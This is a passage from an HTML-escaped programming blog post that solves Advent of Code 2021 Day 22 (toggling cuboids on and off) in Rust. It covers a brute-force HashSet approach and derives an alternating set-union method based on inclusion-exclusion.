&lt;p&gt;Further, we’ll also restrict our scope by using &lt;code&gt;.max&lt;/code&gt; and &lt;code&gt;.min&lt;/code&gt; so that if, say &lt;code&gt;x1&lt;/code&gt; is way out there at &lt;code&gt;-1000&lt;/code&gt;, &lt;code&gt;x1.max(-r)&lt;/code&gt; will pull it back to &lt;code&gt;-50&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-rust&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-rust&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Solution 1: Brute-force Approach.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;token type-definition class-name&quot;&gt;Set&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;HashSet&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cube_t&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; cube_t&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; cube_t&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;token function-definition function&quot;&gt;brute_force&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cmds&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Vec&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Command&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;u32&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;mut&lt;/span&gt; set&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Set&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;HashSet&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; r &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;50&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Command&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;onoff&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;x1&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; x2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;y1&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; y2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;z1&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; z2&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; cmds &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; x1&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;r&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;..=&lt;/span&gt;x2&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;min&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;r&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; j &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; y1&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;r&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;..=&lt;/span&gt;y2&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;min&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;r&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; k &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; z1&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;max&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;r&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;..=&lt;/span&gt;z2&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;min&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;r&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; onoff &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                        set&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;insert&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; j&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; k&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
                    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
                        set&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;remove&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; j&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; k&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
                    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
                &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    set&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;u32&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Rust&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Simple, right? Unfortunately for large cuboids this approach becomes extremely slow. By “large”, I mean cuboids like &lt;code&gt;x=-100000..100000, y=-100000..100000, z=-100000..100000&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To deal with these big numbers, we need to bring in some big guns!&lt;/p&gt;
&lt;h3 id=&quot;a-set-union-approach&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-day-22/#a-set-union-approach&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; A Set Union Approach&lt;/h3&gt;
&lt;p&gt;In part 1, our scope was limited to a 100x100x100 cube centred on the origin. Part 2 &lt;em&gt;removes&lt;/em&gt; this scope, meaning we have to take into account &lt;em&gt;every single point in existence&lt;/em&gt;! Time to use this organ called the brain!&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Pikachu, use brain!&quot; href=&quot;https://trebledj.me/img/posts/programming/aoc-2021/assets/aoc-2021-day-22-bigbrain-600w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-45&quot; src=&quot;https://trebledj.me/img/posts/programming/aoc-2021/assets/aoc-2021-day-22-bigbrain-600w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 600 / 452&quot; alt=&quot;Pikachu, use brain!&quot; title=&quot;Pikachu, use brain!&quot; srcset=&quot;https://trebledj.me/img/posts/programming/aoc-2021/assets/aoc-2021-day-22-bigbrain-256w.webp 256w, https://trebledj.me/img/posts/programming/aoc-2021/assets/aoc-2021-day-22-bigbrain-512w.webp 512w, https://trebledj.me/img/posts/programming/aoc-2021/assets/aoc-2021-day-22-bigbrain-600w.webp 600w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 600px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Let’s start with some investigative work and put on our thinking caps. For the moment, let’s imagine we’re working in 2D instead of 3D. Also, imagine our input is in some generic form.&lt;/p&gt;
&lt;div class=&quot;mb-2 rw center jw-75 video&quot;&gt;&lt;video autoplay=&quot;&quot; loop=&quot;&quot; muted=&quot;&quot; class=&quot;jw-100&quot;&gt;&lt;source src=&quot;https://trebledj.me/img/aoc-2021-day-22-anim1.mp4&quot; type=&quot;video/mp4&quot; /&gt;&lt;/video&gt;&lt;/div&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;$A$ &lt;code&gt;on&lt;/code&gt;, $B$ &lt;code&gt;on&lt;/code&gt;, $C$ &lt;code&gt;on&lt;/code&gt;.&lt;/sup&gt;&lt;/p&gt;
&lt;div class=&quot;mb-2 rw center jw-75 video&quot;&gt;&lt;video autoplay=&quot;&quot; loop=&quot;&quot; muted=&quot;&quot; class=&quot;jw-100&quot;&gt;&lt;source src=&quot;https://trebledj.me/img/aoc-2021-day-22-anim2.mp4&quot; type=&quot;video/mp4&quot; /&gt;&lt;/video&gt;&lt;/div&gt;
&lt;p class=&quot;caption&quot;&gt;&lt;sup&gt;$A$ &lt;code&gt;on&lt;/code&gt;, $B$ &lt;code&gt;off&lt;/code&gt;, $C$ &lt;code&gt;on&lt;/code&gt;.&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;When $A$ turns &lt;code&gt;on&lt;/code&gt;, all the points in $A$ light up. Currently, we have $|A|$ points. Now let’s explore our next options.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$B$ turns &lt;code&gt;on&lt;/code&gt;. We now have $|A &#92;cup B|$ points.&lt;/li&gt;
&lt;li&gt;$B$ turns &lt;code&gt;off&lt;/code&gt;. How many points were switched off? Well, we simply subtract the intersection $|A &#92;cap B|$, so that we end up with $|A| - |A &#92;cap B| = |A &#92;cup B| - |B|$ points.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Continuing further, we have&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;$B$ &lt;code&gt;on&lt;/code&gt;: $|A &#92;cup B|$.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;$C$ &lt;code&gt;on&lt;/code&gt; → $|A &#92;cup B &#92;cup C|$ points.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;$C$ &lt;code&gt;off&lt;/code&gt; → Again, we subtract the intersection. $|A &#92;cup B| - |(A &#92;cup B) &#92;cap C| = |A &#92;cup B &#92;cup C| - |C|$ points.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;$B$ &lt;code&gt;off&lt;/code&gt;: $|A &#92;cup B| - |B|$.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;$C$ &lt;code&gt;on&lt;/code&gt; → We want to add $|C|$, but suppose the points were already counted? We would need to subtract the &lt;em&gt;double-counted&lt;/em&gt; points by considering the intersection of the new set $C$ and &lt;strong&gt;original&lt;/strong&gt; points. We thus have—brace yourself—three new terms: $- |(A &#92;cup B) &#92;cap C|$, $+ |B &#92;cap C|$, and $+ |C|$.&lt;/p&gt;
&lt;p&gt;$$
&#92;underbrace{|A &#92;cup B| - |B|}_{&#92;text{original sets}} - &#92;underbrace{|(A &#92;cup B) &#92;cap C| + |B &#92;cap C|}_{&#92;text{subtract double-counted}} + |C|.
$$&lt;/p&gt;
&lt;p&gt;Regrouping and simplifying, we get&lt;/p&gt;
&lt;p&gt;$$
&#92;begin{align*}
&amp;amp;|A &#92;cup B| + |C| - |(A &#92;cup B) &#92;cap C| - |B| + |B &#92;cap C| &#92;&#92;
&amp;amp;= &#92;underbrace{|A &#92;cup B &#92;cup C| - |B &#92;cup C|}_{&#92;text{original sets unioned with } C} + &#92;underbrace{|C|}_{&#92;text{new}}.
&#92;end{align*}
$$&lt;/p&gt;
&lt;p&gt;Notice how we started off from $|A &#92;cup B| - |B|$, and now we&#39;ve simply extended them with $&#92;cup&#92; C$ and added a $|C|$ term.&lt;/p&gt;
&lt;p&gt;This is actually similar to what we did when turning $B$ &lt;code&gt;off&lt;/code&gt; the first time! We originally had $|A|$, then introduced $&#92;cup&#92; B$, and subtracted $|B|$ so that we don’t count anything from $B$. We &lt;strong&gt;subtracted&lt;/strong&gt; $|B|$ then, since we were turning $B$ &lt;code&gt;off&lt;/code&gt;, but now we &lt;em&gt;add&lt;/em&gt; $|C|$ since we’re turning $C$ &lt;code&gt;on&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Finally, let’s see what happens for the $A$ &lt;code&gt;on&lt;/code&gt;, $B$ &lt;code&gt;off&lt;/code&gt;, $C$ &lt;code&gt;off&lt;/code&gt; case.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;$C$ &lt;code&gt;off&lt;/code&gt; → We can think of this as similar to the $B$ &lt;code&gt;off&lt;/code&gt; $C$ &lt;code&gt;on&lt;/code&gt; path above, except we don’t add the $|C|$ term. So we just have two terms:&lt;/p&gt;
&lt;p&gt;$$
&#92;begin{align*}
&amp;amp;&#92;underbrace{|A &#92;cup B &#92;cup C| - |B &#92;cup C| + |C|}_{&#92;text{same as } B &#92;text{ off, } C &#92;text{ on}} - &#92;underbrace{|C|}_{&#92;text{new}} &#92;&#92;
&amp;amp;= |A &#92;cup B &#92;cup C| - |B &#92;cup C|.
&#92;end{align*}
$$&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Notice that as we consider a new set, we union it with the previous sets. For example, $A$ &lt;code&gt;on&lt;/code&gt; $B$ &lt;code&gt;off&lt;/code&gt; has $|A &#92;cup B| - |B|$ points. After adding $C$ &lt;code&gt;off&lt;/code&gt;, we have $|A &#92;cup B &#92;cup C| - |B &#92;cup C|$ points. Notice the similarity?&lt;/p&gt;
&lt;p&gt;Moreover, we add a new term each time we change between &lt;code&gt;on&lt;/code&gt; and &lt;code&gt;off&lt;/code&gt;. We see this above in when going from $A$ &lt;code&gt;on&lt;/code&gt; to $B$ &lt;code&gt;off&lt;/code&gt;, from $B$ &lt;code&gt;on&lt;/code&gt; to $C$ &lt;code&gt;off&lt;/code&gt;, and $B$ &lt;code&gt;off&lt;/code&gt; to $C$ &lt;code&gt;on&lt;/code&gt;. Each time it’s one new term, and it’s the opposite sign of the previous term. It goes without saying, that this can be generalised.&lt;/p&gt;
&lt;h3 id=&quot;can-we-build-it-yes-we-can&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-day-22/#can-we-build-it-yes-we-can&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Can we build it? Yes, we can!&lt;/h3&gt;
&lt;p&gt;Moving on to practical matters… how do we code this? We’ll separate the logic into two stages: one for building a set expression, the other for evaluating the expression.&lt;/p&gt;
&lt;p&gt;Taking a lesson from functional programming, let’s discuss data and representation first. We can represent a union as a vector of cuboids: &lt;code&gt;Vec&amp;lt;Cuboid&amp;gt;&lt;/code&gt;. But a cuboid is six integers, and the sets in our union all come from the input. So we can actually use a vector of indices instead: &lt;code&gt;Vec&amp;lt;usize&amp;gt;&lt;/code&gt;. We’ll wrap these vectors in another container to represent our alternating union (this means every second term subtracts). I went for &lt;code&gt;LinkedList&lt;/code&gt; for performance, but &lt;code&gt;Vec&lt;/code&gt; should work as well.&lt;/p&gt;
&lt;p&gt;Let’s build our set expression then:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-rust&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-rust&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;mut&lt;/span&gt; alternating_unions&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;LinkedList&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Vec&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;usize&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;LinkedList&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; lookup &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; cmds&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;iter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token closure-params&quot;&gt;&lt;span class=&quot;token closure-punctuation punctuation&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Command&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;_&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; c&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token closure-punctuation punctuation&quot;&gt;|&lt;/span&gt;&lt;/span&gt; c&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;collect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Vec&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;_&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Command&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;on&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; _&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; cmds&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;iter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; v &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; alternating_unions&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;iter_mut&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        v&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Push the current tag.&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;alternating_unions&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; on &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token comment&quot;&gt;// A new union term is added if &quot;on&quot; and even, or &quot;off&quot; and odd.&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;mut&lt;/span&gt; v &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token macro property&quot;&gt;vec!&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        v&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;reserve&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cmds&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Smol optimisation.&lt;/span&gt;
        alternating_unions&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;push_back&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;v&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Rust&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Evaluating the union is simply a matter of taking the set of unions, applying the inclusion-exclusion and generating a DFS tree with pruning. Those are some pretty big words. Let’s unpack it a bit.&lt;/p&gt;
&lt;h3 id=&quot;what-the-heck-is-the-inclusion-exclusion-principle&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-day-22/#what-the-heck-is-the-inclusion-exclusion-principle&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; What the heck is the Inclusion-Exclusion Principle?&lt;/h3&gt;
